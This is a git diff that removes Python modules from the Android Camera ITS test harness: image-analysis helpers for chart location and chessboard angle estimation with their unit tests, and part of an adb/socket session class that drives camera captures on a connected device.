-        scale_step = self._scale_step * s_factor
-        self.scale = s_factor
-        max_match = []
-        # check for normalized image
-        if numpy.amax(scene) <= 1.0:
-            scene = (scene * 255.0).astype(numpy.uint8)
-        scene_gray = gray_scale_img(scene)
-        print 'Finding chart in scene...'
-        for scale in numpy.arange(scale_start, scale_stop, scale_step):
-            scene_scaled = scale_img(scene_gray, scale)
-            if (scene_scaled.shape[0] < chart.shape[0] or
-                        scene_scaled.shape[1] < chart.shape[1]):
-                continue
-            result = cv2.matchTemplate(scene_scaled, chart, cv2.TM_CCOEFF)
-            _, opt_val, _, top_left_scaled = cv2.minMaxLoc(result)
-            # print out scale and match
-            print ' scale factor: %.3f, opt val: %.f' % (scale, opt_val)
-            max_match.append((opt_val, top_left_scaled))
-
-        # determine if optimization results are valid
-        opt_values = [x[0] for x in max_match]
-        if 2.0*min(opt_values) > max(opt_values):
-            estring = ('Warning: unable to find chart in scene!\n'
-                       'Check camera distance and self-reported '
-                       'pixel pitch, focal length and hyperfocal distance.')
-            print estring
-            self._set_scale_factors_to_one()
-        else:
-            if (max(opt_values) == opt_values[0] or
-                        max(opt_values) == opt_values[len(opt_values)-1]):
-                estring = ('Warning: chart is at extreme range of locator '
-                           'check.\n')
-                print estring
-            # find max and draw bbox
-            match_index = max_match.index(max(max_match, key=lambda x: x[0]))
-            self.scale = scale_start + scale_step * match_index
-            print 'Optimum scale factor: %.3f' %  self.scale
-            top_left_scaled = max_match[match_index][1]
-            h, w = chart.shape
-            bottom_right_scaled = (top_left_scaled[0] + w,
-                                   top_left_scaled[1] + h)
-            top_left = (int(top_left_scaled[0]/self.scale),
-                        int(top_left_scaled[1]/self.scale))
-            bottom_right = (int(bottom_right_scaled[0]/self.scale),
-                            int(bottom_right_scaled[1]/self.scale))
-            self.wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
-            self.hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
-            self.xnorm = float(top_left[0]) / scene.shape[1]
-            self.ynorm = float(top_left[1]) / scene.shape[0]
-
-
-def get_angle(input_img):
-    """Computes anglular inclination of chessboard in input_img.
-
-    Angle estimation algoritm description:
-        Input: 2D grayscale image of chessboard.
-        Output: Angle of rotation of chessboard perpendicular to
-            chessboard. Assumes chessboard and camera are parallel to
-            each other.
-
-        1) Use adaptive threshold to make image binary
-        2) Find countours
-        3) Filter out small contours
-        4) Filter out all non-square contours
-        5) Compute most common square shape.
-            The assumption here is that the most common square instances
-            are the chessboard squares. We've shown that with our current
-            tuning, we can robustly identify the squares on the sensor fusion
-            chessboard.
-        6) Return median angle of most common square shape.
-
-    USAGE NOTE: This function has been tuned to work for the chessboard used in
-    the sensor_fusion tests. See images in test_images/rotated_chessboard/ for
-    sample captures. If this function is used with other chessboards, it may not
-    work as expected.
-
-    TODO: Make algorithm more robust so it works on any type of
-    chessboard.
-
-    Args:
-        input_img (2D numpy.ndarray): Grayscale image stored as a 2D
-            numpy array.
-
-    Returns:
-        Median angle of squares in degrees identified in the image.
-    """
-    # Tuning parameters
-    min_square_area = (float)(input_img.shape[1] * 0.05)
-
-    # Creates copy of image to avoid modifying original.
-    img = numpy.array(input_img, copy=True)
-
-    # Scale pixel values from 0-1 to 0-255
-    img *= 255
-    img = img.astype(numpy.uint8)
-
-    thresh = cv2.adaptiveThreshold(
-            img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 201, 2)
-
-    # Find all contours
-    contours = []
-    cv2_version = cv2.__version__
-    if cv2_version.startswith('3.'): # OpenCV 3.x
-        _, contours, _ = cv2.findContours(
-                thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
-    else: # OpenCV 2.x and 4.x
-        contours, _ = cv2.findContours(
-                thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
-
-    # Filter contours to squares only.
-    square_contours = []
-
-    for contour in contours:
-        rect = cv2.minAreaRect(contour)
-        _, (width, height), angle = rect
-
-        # Skip non-squares (with 0.1 tolerance)
-        tolerance = 0.1
-        if width < height * (1 - tolerance) or width > height * (1 + tolerance):
-            continue
-
-        # Remove very small contours.
-        # These are usually just tiny dots due to noise.
-        area = cv2.contourArea(contour)
-        if area < min_square_area:
-            continue
-
-        if cv2_version.startswith('2.4.'):
-            box = numpy.int0(cv2.cv.BoxPoints(rect))
-        elif cv2_version.startswith('3.2.'):
-            box = numpy.int0(cv2.boxPoints(rect))
-        square_contours.append(contour)
-
-    areas = []
-    for contour in square_contours:
-        area = cv2.contourArea(contour)
-        areas.append(area)
-
-    median_area = numpy.median(areas)
-
-    filtered_squares = []
-    filtered_angles = []
-    for square in square_contours:
-        area = cv2.contourArea(square)
-        if area < median_area * 0.90 or area > median_area * 1.10:
-            continue
-
-        filtered_squares.append(square)
-        _, (width, height), angle = cv2.minAreaRect(square)
-        filtered_angles.append(angle)
-
-    if len(filtered_angles) < 10:
-        return None
-
-    return numpy.median(filtered_angles)
-
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-
-    def test_compute_image_sharpness(self):
-        """Unit test for compute_img_sharpness.
-
-        Test by using PNG of ISO12233 chart and blurring intentionally.
-        'sharpness' should drop off by sqrt(2) for 2x blur of image.
-
-        We do one level of blur as PNG image is not perfect.
-        """
-        yuv_full_scale = 1023.0
-        chart_file = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules',
-                                  'its', 'test_images', 'ISO12233.png')
-        chart = cv2.imread(chart_file, cv2.IMREAD_ANYDEPTH)
-        white_level = numpy.amax(chart).astype(float)
-        sharpness = {}
-        for j in [2, 4, 8]:
-            blur = cv2.blur(chart, (j, j))
-            blur = blur[:, :, numpy.newaxis]
-            sharpness[j] = (yuv_full_scale *
-                            its.image.compute_image_sharpness(blur /
-                                                              white_level))
-        self.assertTrue(numpy.isclose(sharpness[2]/sharpness[4],
-                                      numpy.sqrt(2), atol=0.1))
-        self.assertTrue(numpy.isclose(sharpness[4]/sharpness[8],
-                                      numpy.sqrt(2), atol=0.1))
-
-    def test_get_angle_identify_unrotated_chessboard_angle(self):
-        basedir = os.path.join(
-                os.path.dirname(__file__), 'test_images/rotated_chessboards/')
-
-        normal_img_path = os.path.join(basedir, 'normal.jpg')
-        wide_img_path = os.path.join(basedir, 'wide.jpg')
-
-        normal_img = cv2.cvtColor(
-                cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
-        wide_img = cv2.cvtColor(
-                cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
-
-        assert get_angle(normal_img) == 0
-        assert get_angle(wide_img) == 0
-
-    def test_get_angle_identify_rotated_chessboard_angle(self):
-        basedir = os.path.join(
-                os.path.dirname(__file__), 'test_images/rotated_chessboards/')
-
-        # Array of the image files and angles containing rotated chessboards.
-        test_cases = [
-                ('_15_ccw', 15),
-                ('_30_ccw', 30),
-                ('_45_ccw', 45),
-                ('_60_ccw', 60),
-                ('_75_ccw', 75),
-                ('_90_ccw', 90)
-        ]
-
-        # For each rotated image pair (normal, wide). Check if angle is
-        # identified as expected.
-        for suffix, angle in test_cases:
-            # Define image paths
-            normal_img_path = os.path.join(
-                    basedir, 'normal{}.jpg'.format(suffix))
-            wide_img_path = os.path.join(
-                    basedir, 'wide{}.jpg'.format(suffix))
-
-            # Load and color convert images
-            normal_img = cv2.cvtColor(
-                    cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
-            wide_img = cv2.cvtColor(
-                    cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
-
-            # Assert angle is as expected up to 2.0 degrees of accuracy.
-            assert numpy.isclose(
-                    abs(get_angle(normal_img)), angle, 2.0)
-            assert numpy.isclose(
-                    abs(get_angle(wide_img)), angle, 2.0)
-
-
-def component_shape(contour):
-    """Measure the shape of a connected component.
-
-    Args:
-        contour: return from cv2.findContours. A list of pixel coordinates of
-        the contour.
-
-    Returns:
-        The most left, right, top, bottom pixel location, height, width, and
-        the center pixel location of the contour.
-    """
-    shape = {'left': numpy.inf, 'right': 0, 'top': numpy.inf, 'bottom': 0,
-             'width': 0, 'height': 0, 'ctx': 0, 'cty': 0}
-    for pt in contour:
-        if pt[0][0] < shape['left']:
-            shape['left'] = pt[0][0]
-        if pt[0][0] > shape['right']:
-            shape['right'] = pt[0][0]
-        if pt[0][1] < shape['top']:
-            shape['top'] = pt[0][1]
-        if pt[0][1] > shape['bottom']:
-            shape['bottom'] = pt[0][1]
-    shape['width'] = shape['right'] - shape['left'] + 1
-    shape['height'] = shape['bottom'] - shape['top'] + 1
-    shape['ctx'] = (shape['left'] + shape['right']) / 2
-    shape['cty'] = (shape['top'] + shape['bottom']) / 2
-    return shape
-
-
-if __name__ == '__main__':
-    unittest.main()
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
deleted file mode 100644
index 2e2c775..0000000
--- a/apps/CameraITS/pymodules/its/device.py
+++ /dev/null
@@ -1,1189 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import json
-import os
-import socket
-import string
-import subprocess
-import sys
-import time
-import unicodedata
-import unittest
-
-import its.error
-import numpy
-
-from collections import namedtuple
-
-
-class ItsSession(object):
-    """Controls a device over adb to run ITS scripts.
-
-    The script importing this module (on the host machine) prepares JSON
-    objects encoding CaptureRequests, specifying sets of parameters to use
-    when capturing an image using the Camera2 APIs. This class encapsulates
-    sending the requests to the device, monitoring the device's progress, and
-    copying the resultant captures back to the host machine when done. TCP
-    forwarded over adb is the transport mechanism used.
-
-    The device must have CtsVerifier.apk installed.
-
-    Attributes:
-        sock: The open socket.
-    """
-
-    # Open a connection to localhost:<host_port>, forwarded to port 6000 on the
-    # device. <host_port> is determined at run-time to support multiple
-    # connected devices.
-    IPADDR = '127.0.0.1'
-    REMOTE_PORT = 6000
-    BUFFER_SIZE = 4096
-
-    # LOCK_PORT is used as a mutex lock to protect the list of forwarded ports
-    # among all processes. The script assumes LOCK_PORT is available and will
-    # try to use ports between CLIENT_PORT_START and
-    # CLIENT_PORT_START+MAX_NUM_PORTS-1 on host for ITS sessions.
-    CLIENT_PORT_START = 6000
-    MAX_NUM_PORTS = 100
-    LOCK_PORT = CLIENT_PORT_START + MAX_NUM_PORTS
-
-    # Seconds timeout on each socket operation.
-    SOCK_TIMEOUT = 20.0
-    # Additional timeout in seconds when ITS service is doing more complicated
-    # operations, for example: issuing warmup requests before actual capture.
-    EXTRA_SOCK_TIMEOUT = 5.0
-
-    SEC_TO_NSEC = 1000*1000*1000.0
-
-    PACKAGE = 'com.android.cts.verifier.camera.its'
-    INTENT_START = 'com.android.cts.verifier.camera.its.START'
-    ACTION_ITS_RESULT = 'com.android.cts.verifier.camera.its.ACTION_ITS_RESULT'
-    EXTRA_VERSION = 'camera.its.extra.VERSION'
-    CURRENT_ITS_VERSION = '1.0'  # version number to sync with CtsVerifier
-    EXTRA_CAMERA_ID = 'camera.its.extra.CAMERA_ID'
-    EXTRA_RESULTS = 'camera.its.extra.RESULTS'
-    ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
-
-    # This string must be in sync with ItsService. Updated when interface
-    # between script and ItsService is changed.
-    ITS_SERVICE_VERSION = "1.0"
-
-    RESULT_PASS = 'PASS'
-    RESULT_FAIL = 'FAIL'
-    RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
-    RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
-    RESULT_KEY = 'result'
-    SUMMARY_KEY = 'summary'
-    START_TIME_KEY = 'start'
-    END_TIME_KEY = 'end'
-
-    adb = "adb -d"
-    device_id = ""
-
-    CAMERA_ID_TOKENIZER = '.'
-
-    # Definitions for some of the common output format options for do_capture().
-    # Each gets images of full resolution for each requested format.
-    CAP_RAW = {"format":"raw"}
-    CAP_DNG = {"format":"dng"}
-    CAP_YUV = {"format":"yuv"}
-    CAP_JPEG = {"format":"jpeg"}
-    CAP_RAW_YUV = [{"format":"raw"}, {"format":"yuv"}]
-    CAP_DNG_YUV = [{"format":"dng"}, {"format":"yuv"}]
-    CAP_RAW_JPEG = [{"format":"raw"}, {"format":"jpeg"}]
-    CAP_DNG_JPEG = [{"format":"dng"}, {"format":"jpeg"}]
-    CAP_YUV_JPEG = [{"format":"yuv"}, {"format":"jpeg"}]
-    CAP_RAW_YUV_JPEG = [{"format":"raw"}, {"format":"yuv"}, {"format":"jpeg"}]
-    CAP_DNG_YUV_JPEG = [{"format":"dng"}, {"format":"yuv"}, {"format":"jpeg"}]
-
-    # Predefine camera props. Save props extracted from the function,
-    # "get_camera_properties".
-    props = None
-
-    # Initialize the socket port for the host to forward requests to the device.
-    # This method assumes localhost's LOCK_PORT is available and will try to
-    # use ports between CLIENT_PORT_START and CLIENT_PORT_START+MAX_NUM_PORTS-1
-    def __init_socket_port(self):
-        NUM_RETRIES = 100
-        RETRY_WAIT_TIME_SEC = 0.05
-
-        # Bind a socket to use as mutex lock
-        socket_lock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        for i in range(NUM_RETRIES):
-            try:
-                socket_lock.bind((ItsSession.IPADDR, ItsSession.LOCK_PORT))
-                break
-            except socket.error or socket.timeout:
-                if i == NUM_RETRIES - 1:
-                    raise its.error.Error(self.device_id,
-                                          "socket lock returns error")
-                else:
-                    time.sleep(RETRY_WAIT_TIME_SEC)
-
-        # Check if a port is already assigned to the device.
-        command = "adb forward --list"
-        proc = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
-        output, error = proc.communicate()
-
-        port = None
-        used_ports = []
-        for line in output.split(os.linesep):
-            # each line should be formatted as:
-            # "<device_id> tcp:<host_port> tcp:<remote_port>"
-            forward_info = line.split()
-            if len(forward_info) >= 3 and \
-               len(forward_info[1]) > 4 and forward_info[1][:4] == "tcp:" and \
-               len(forward_info[2]) > 4 and forward_info[2][:4] == "tcp:":
-                local_p = int(forward_info[1][4:])
-                remote_p = int(forward_info[2][4:])
-                if forward_info[0] == self.device_id and \
-                   remote_p == ItsSession.REMOTE_PORT:
-                    port = local_p
-                    break
-                else:
-                    used_ports.append(local_p)
-
-        # Find the first available port if no port is assigned to the device.
-        if port is None:
-            for p in range(ItsSession.CLIENT_PORT_START,
-                           ItsSession.CLIENT_PORT_START +
-                           ItsSession.MAX_NUM_PORTS):
-                if p not in used_ports:
-                    # Try to run "adb forward" with the port
-                    command = "%s forward tcp:%d tcp:%d" % \
-                              (self.adb, p, self.REMOTE_PORT)
-                    proc = subprocess.Popen(command.split(),
-                                            stdout=subprocess.PIPE,
-                                            stderr=subprocess.PIPE)
-                    output, error = proc.communicate()
-
-                    # Check if there is no error
-                    if error is None or error.find("error") < 0:
-                        port = p
-                        break
-
-        if port is None:
-            raise its.error.Error(self.device_id, " cannot find an available " +
-                                  "port")
-
-        # Release the socket as mutex unlock
-        socket_lock.close()
-
-        # Connect to the socket
-        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        self.sock.connect((self.IPADDR, port))
-        self.sock.settimeout(self.SOCK_TIMEOUT)
-
-    # Reboot the device if needed and wait for the service to be ready for
-    # connection.
-    def __wait_for_service(self):
-        # This also includes the optional reboot handling: if the user
-        # provides a "reboot" or "reboot=N" arg, then reboot the device,
-        # waiting for N seconds (default 30) before returning.
-        for s in sys.argv[1:]:
-            if s[:6] == "reboot":
-                duration = 30
-                if len(s) > 7 and s[6] == "=":
-                    duration = int(s[7:])
-                print "Rebooting device"
-                _run("%s reboot" % (self.adb))
-                _run("%s wait-for-device" % (self.adb))
-                time.sleep(duration)
-                print "Reboot complete"
-
-        # Flush logcat so following code won't be misled by previous
-        # 'ItsService ready' log.
-        _run('%s logcat -c' % (self.adb))
-        time.sleep(1)
-
-        # TODO: Figure out why "--user 0" is needed, and fix the problem.
-        _run('%s shell am force-stop --user 0 %s' % (self.adb, self.PACKAGE))
-        _run(('%s shell am start-foreground-service --user 0 -t text/plain '
-              '-a %s') % (self.adb, self.INTENT_START))
-
-        # Wait until the socket is ready to accept a connection.
-        proc = subprocess.Popen(
-                self.adb.split() + ["logcat"],
-                stdout=subprocess.PIPE)
-        logcat = proc.stdout
-        while True:
-            line = logcat.readline().strip()
-            if line.find('ItsService ready') >= 0:
-                break
-        proc.kill()
-
-    def __init__(self, camera_id=None, hidden_physical_id=None):
-        self._camera_id = camera_id
-        self._hidden_physical_id = hidden_physical_id
-
-    def __enter__(self):
-        # Initialize device id and adb command.
-        self.device_id = get_device_id()
-        self.adb = "adb -s " + self.device_id
-
-        self.__wait_for_service()
-        self.__init_socket_port()
-
-        self.__close_camera()
-        self.__open_camera()
-        return self
-
-    def __exit__(self, type, value, traceback):
-        if hasattr(self, 'sock') and self.sock:
-            self.__close_camera()
-            self.sock.close()
-        return False
-
-    def __read_response_from_socket(self):
-        # Read a line (newline-terminated) string serialization of JSON object.
-        chars = []
-        while len(chars) == 0 or chars[-1] != '\n':
-            ch = self.sock.recv(1)
-            if len(ch) == 0:
-                # Socket was probably closed; otherwise don't get empty strings
-                raise its.error.SocketError(self.device_id, 'Problem with socket on device side')
-            chars.append(ch)
-        line = ''.join(chars)
-        jobj = json.loads(line)
-        # Optionally read a binary buffer of a fixed size.
-        buf = None
-        if jobj.has_key("bufValueSize"):
-            n = jobj["bufValueSize"]
-            buf = bytearray(n)
-            view = memoryview(buf)
-            while n > 0:
-                nbytes = self.sock.recv_into(view, n)
-                view = view[nbytes:]
-                n -= nbytes
-            buf = numpy.frombuffer(buf, dtype=numpy.uint8)
-        return jobj, buf
-
-    def __open_camera(self):
-        # Get the camera ID to open if it is an argument as a single camera.
-        # This allows passing camera=# to individual tests at command line
-        # and camera=#,#,# or an no camera argv with tools/run_all_tests.py.
-        #
-        # In case the camera is a logical multi-camera, to run ITS on the
-        # hidden physical sub-camera, pass camera=[logical ID]:[physical ID]
-        # to an individual test at the command line, and same applies to multiple
-        # camera IDs for tools/run_all_tests.py: camera=#,#:#,#:#,#
-        if not self._camera_id:
-            self._camera_id = 0
-            for s in sys.argv[1:]:
-                if s[:7] == "camera=" and len(s) > 7:
-                    camera_ids = s[7:].split(',')
-                    camera_id_combos = parse_camera_ids(camera_ids)
-                    if len(camera_id_combos) == 1:
-                        self._camera_id = camera_id_combos[0].id
-                        self._hidden_physical_id = camera_id_combos[0].sub_id
-
-        cmd = {"cmdName":"open", "cameraId":self._camera_id}
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'cameraOpened':
-            raise its.error.Error('Invalid command response')
-
-    def __close_camera(self):
-        cmd = {"cmdName":"close"}
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'cameraClosed':
-            raise its.error.Error('Invalid command response')
-
-    def do_vibrate(self, pattern):
-        """Cause the device to vibrate to a specific pattern.
-
-        Args:
-            pattern: Durations (ms) for which to turn on or off the vibrator.
-                The first value indicates the number of milliseconds to wait
-                before turning the vibrator on. The next value indicates the
-                number of milliseconds for which to keep the vibrator on
-                before turning it off. Subsequent values alternate between
-                durations in milliseconds to turn the vibrator off or to turn
-                the vibrator on.
-
-        Returns:
-            Nothing.
-        """
-        cmd = {}
-        cmd["cmdName"] = "doVibrate"
-        cmd["pattern"] = pattern
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'vibrationStarted':
-            raise its.error.Error('Invalid command response')
-
-    def set_audio_restriction(self, mode):
-        """Set the audio restriction mode for this camera device.
-
-        Args:
-            mode: the audio restriction mode. See CameraDevice.java for valid
-                  value.
-        Returns:
-            Nothing.
-        """
-        cmd = {}
-        cmd["cmdName"] = "setAudioRestriction"
-        cmd["mode"] = mode
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data["tag"] != "audioRestrictionSet":
-            raise its.error.Error("Invalid command response")
-
-    def get_sensors(self):
-        """Get all sensors on the device.
-
-        Returns:
-            A Python dictionary that returns keys and booleans for each sensor.
-        """
-        cmd = {}
-        cmd["cmdName"] = "checkSensorExistence"
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'sensorExistence':
-            raise its.error.Error('Invalid command response')
-        return data['objValue']
-
-    def start_sensor_events(self):
-        """Start collecting sensor events on the device.
-
-        See get_sensor_events for more info.
-
-        Returns:
-            Nothing.
-        """
-        cmd = {}
-        cmd["cmdName"] = "startSensorEvents"
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'sensorEventsStarted':
-            raise its.error.Error('Invalid command response')
-
-    def get_sensor_events(self):
-        """Get a trace of all sensor events on the device.
-
-        The trace starts when the start_sensor_events function is called. If
-        the test runs for a long time after this call, then the device's
-        internal memory can fill up. Calling get_sensor_events gets all events
-        from the device, and then stops the device from collecting events and
-        clears the internal buffer; to start again, the start_sensor_events
-        call must be used again.
-
-        Events from the accelerometer, compass, and gyro are returned; each
-        has a timestamp and x,y,z values.
-
-        Note that sensor events are only produced if the device isn't in its
-        standby mode (i.e.) if the screen is on.
-
-        Returns:
-            A Python dictionary with three keys ("accel", "mag", "gyro") each
-            of which maps to a list of objects containing "time","x","y","z"
-            keys.
-        """
-        cmd = {}
-        cmd["cmdName"] = "getSensorEvents"
-        self.sock.send(json.dumps(cmd) + "\n")
-        timeout = self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT
-        self.sock.settimeout(timeout)
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'sensorEvents':
-            raise its.error.Error('Invalid command response')
-        self.sock.settimeout(self.SOCK_TIMEOUT)
-        return data['objValue']
-
-    def get_camera_ids(self):
-        """Get a list of camera device Ids that can be opened.
-
-        Returns:
-            a list of camera ID string
-        """
-        cmd = {}
-        cmd["cmdName"] = "getCameraIds"
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'cameraIds':
-            raise its.error.Error('Invalid command response')
-        return data['objValue']['cameraIdArray']
-
-    def check_its_version_compatible(self):
-        """Check the java side ItsService is compatible with current host script.
-           Raise ItsException if versions are incompatible
-
-        Returns: None
-        """
-        cmd = {}
-        cmd["cmdName"] = "getItsVersion"
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'ItsVersion':
-            raise its.error.Error('ItsService is incompatible with host python script')
-        server_version = data['strValue']
-        if self.ITS_SERVICE_VERSION != server_version:
-            raise its.error.Error('Version mismatch ItsService(%s) vs host script(%s)' % (
-                    server_version, ITS_SERVICE_VERSION))
-
-    def override_with_hidden_physical_camera_props(self, props):
-        """If current session is for a hidden physical camera, check that it is a valid
-           sub-camera backing the logical camera, and return the
-           characteristics of sub-camera. Otherwise, return "props" directly.
-
-        Returns: The properties of the hidden physical camera if possible
-        """
-        if self._hidden_physical_id:
-            e_msg = 'Camera %s is not a logical multi-camera' % self._camera_id
-            assert its.caps.logical_multi_camera(props), e_msg
-            physical_ids = its.caps.logical_multi_camera_physical_ids(props)
-            e_msg = 'Camera %s is not a hidden sub-camera of camera %s' % (
-                self._hidden_physical_id, self._camera_id)
-            assert self._hidden_physical_id in physical_ids, e_msg
-            props = self.get_camera_properties_by_id(self._hidden_physical_id)
-            self.props = props
-        return props
-
-    def get_camera_properties(self):
-        """Get the camera properties object for the device.
-
-        Returns:
-            The Python dictionary object for the CameraProperties object.
-        """
-        cmd = {}
-        cmd["cmdName"] = "getCameraProperties"
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'cameraProperties':
-            raise its.error.Error('Invalid command response')
-        self.props = data['objValue']['cameraProperties']
-        return data['objValue']['cameraProperties']
-
-    def get_camera_properties_by_id(self, camera_id):
-        """Get the camera properties object for device with camera_id
-
-        Args:
-            camera_id: The ID string of the camera
-
-        Returns:
-            The Python dictionary object for the CameraProperties object. Empty
-            if no such device exists.
-
-        """
-        cmd = {}
-        cmd["cmdName"] = "getCameraPropertiesById"
-        cmd["cameraId"] = camera_id
-        self.sock.send(json.dumps(cmd) + "\n")
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'cameraProperties':
-            raise its.error.Error('Invalid command response')
-        return data['objValue']['cameraProperties']
-
-    def do_3a(self, regions_ae=[[0,0,1,1,1]],
-                    regions_awb=[[0,0,1,1,1]],
-                    regions_af=[[0,0,1,1,1]],
-                    do_ae=True, do_awb=True, do_af=True,
-                    lock_ae=False, lock_awb=False,
-                    get_results=False,
-                    ev_comp=0, mono_camera=False):
-        """Perform a 3A operation on the device.
-
-        Triggers some or all of AE, AWB, and AF, and returns once they have
-        converged. Uses the vendor 3A that is implemented inside the HAL.
-        Note: do_awb is always enabled regardless of do_awb flag
-
-        Throws an assertion if 3A fails to converge.
-
-        Args:
-            regions_ae: List of weighted AE regions.
-            regions_awb: List of weighted AWB regions.
-            regions_af: List of weighted AF regions.
-            do_ae: Trigger AE and wait for it to converge.
-            do_awb: Wait for AWB to converge.
-            do_af: Trigger AF and wait for it to converge.
-            lock_ae: Request AE lock after convergence, and wait for it.
-            lock_awb: Request AWB lock after convergence, and wait for it.
-            get_results: Return the 3A results from this function.
-            ev_comp: An EV compensation value to use when running AE.
-            mono_camera: Boolean for monochrome camera.
-
-        Region format in args:
-            Arguments are lists of weighted regions; each weighted region is a
-            list of 5 values, [x,y,w,h, wgt], and each argument is a list of
-            these 5-value lists. The coordinates are given as normalized
-            rectangles (x,y,w,h) specifying the region. For example:
-                [[0.0, 0.0, 1.0, 0.5, 5], [0.0, 0.5, 1.0, 0.5, 10]].
-            Weights are non-negative integers.
-
-        Returns:
-            Five values are returned if get_results is true::
-            * AE sensitivity; None if do_ae is False
-            * AE exposure time; None if do_ae is False
-            * AWB gains (list);
-            * AWB transform (list);
-            * AF focus position; None if do_af is false
-            Otherwise, it returns five None values.
-        """
-        print "Running vendor 3A on device"
-        cmd = {}
-        cmd["cmdName"] = "do3A"
-        cmd["regions"] = {"ae": sum(regions_ae, []),
-                          "awb": sum(regions_awb, []),
-                          "af": sum(regions_af, [])}
-        cmd["triggers"] = {"ae": do_ae, "af": do_af}
-        if lock_ae:
-            cmd["aeLock"] = True
-        if lock_awb:
-            cmd["awbLock"] = True
-        if ev_comp != 0:
-            cmd["evComp"] = ev_comp
-        if self._hidden_physical_id:
-            cmd["physicalId"] = self._hidden_physical_id
-        self.sock.send(json.dumps(cmd) + "\n")
-
-        # Wait for each specified 3A to converge.
-        ae_sens = None
-        ae_exp = None
-        awb_gains = None
-        awb_transform = None
-        af_dist = None
-        converged = False
-        while True:
-            data,_ = self.__read_response_from_socket()
-            vals = data['strValue'].split()
-            if data['tag'] == 'aeResult':
-                if do_ae:
-                    ae_sens, ae_exp = [int(i) for i in vals]
-            elif data['tag'] == 'afResult':
-                if do_af:
-                    af_dist = float(vals[0])
-            elif data['tag'] == 'awbResult':
-                awb_gains = [float(f) for f in vals[:4]]
-                awb_transform = [float(f) for f in vals[4:]]
-            elif data['tag'] == '3aConverged':
-                converged = True
-            elif data['tag'] == '3aDone':
-                break
-            else:
-                raise its.error.Error('Invalid command response')
-        if converged and not get_results:
-            return None,None,None,None,None
-        if (do_ae and ae_sens == None or (not mono_camera and do_awb and awb_gains == None)
-                or do_af and af_dist == None or not converged):
-
-            raise its.error.Error('3A failed to converge')
-        return ae_sens, ae_exp, awb_gains, awb_transform, af_dist
-
-    def is_stream_combination_supported(self, out_surfaces):
-        """Query whether a output surfaces combination is supported by the camera device.
-
-        This function hooks up to the isSessionConfigurationSupported() camera API
-        to query whether a particular stream combination is supported.
-
-        Refer to do_capture function for specification of out_surfaces field.
-        """
-        cmd = {}
-        cmd['cmdName'] = 'isStreamCombinationSupported'
-
-        if not isinstance(out_surfaces, list):
-            cmd['outputSurfaces'] = [out_surfaces]
-        else:
-            cmd['outputSurfaces'] = out_surfaces
-        formats = [c['format'] if 'format' in c else 'yuv'
-                   for c in cmd['outputSurfaces']]
-        formats = [s if s != 'jpg' else 'jpeg' for s in formats]
-
-        self.sock.send(json.dumps(cmd) + '\n')
-
-        data,_ = self.__read_response_from_socket()
-        if data['tag'] != 'streamCombinationSupport':
-            its.error.Error('Failed to query stream combination')
-
-        return data['strValue'] == 'supportedCombination'
-
-    def do_capture(self, cap_request,
-            out_surfaces=None, reprocess_format=None, repeat_request=None):
-        """Issue capture request(s), and read back the image(s) and metadata.
-
-        The main top-level function for capturing one or more images using the
-        device. Captures a single image if cap_request is a single object, and
-        captures a burst if it is a list of objects.
-
-        The optional repeat_request field can be used to assign a repeating
-        request list ran in background for 3 seconds to warm up the capturing
-        pipeline before start capturing. The repeat_requests will be ran on a
-        640x480 YUV surface without sending any data back. The caller needs to
-        make sure the stream configuration defined by out_surfaces and
-        repeat_request are valid or do_capture may fail because device does not
-        support such stream configuration.
-
-        The out_surfaces field can specify the width(s), height(s), and
-        format(s) of the captured image. The formats may be "yuv", "jpeg",
-        "dng", "raw", "raw10", "raw12", "rawStats" or "y8". The default is a YUV420
-        frame ("yuv") corresponding to a full sensor frame.
-
-        Optionally the out_surfaces field can specify physical camera id(s) if the
-        current camera device is a logical multi-camera. The physical camera id
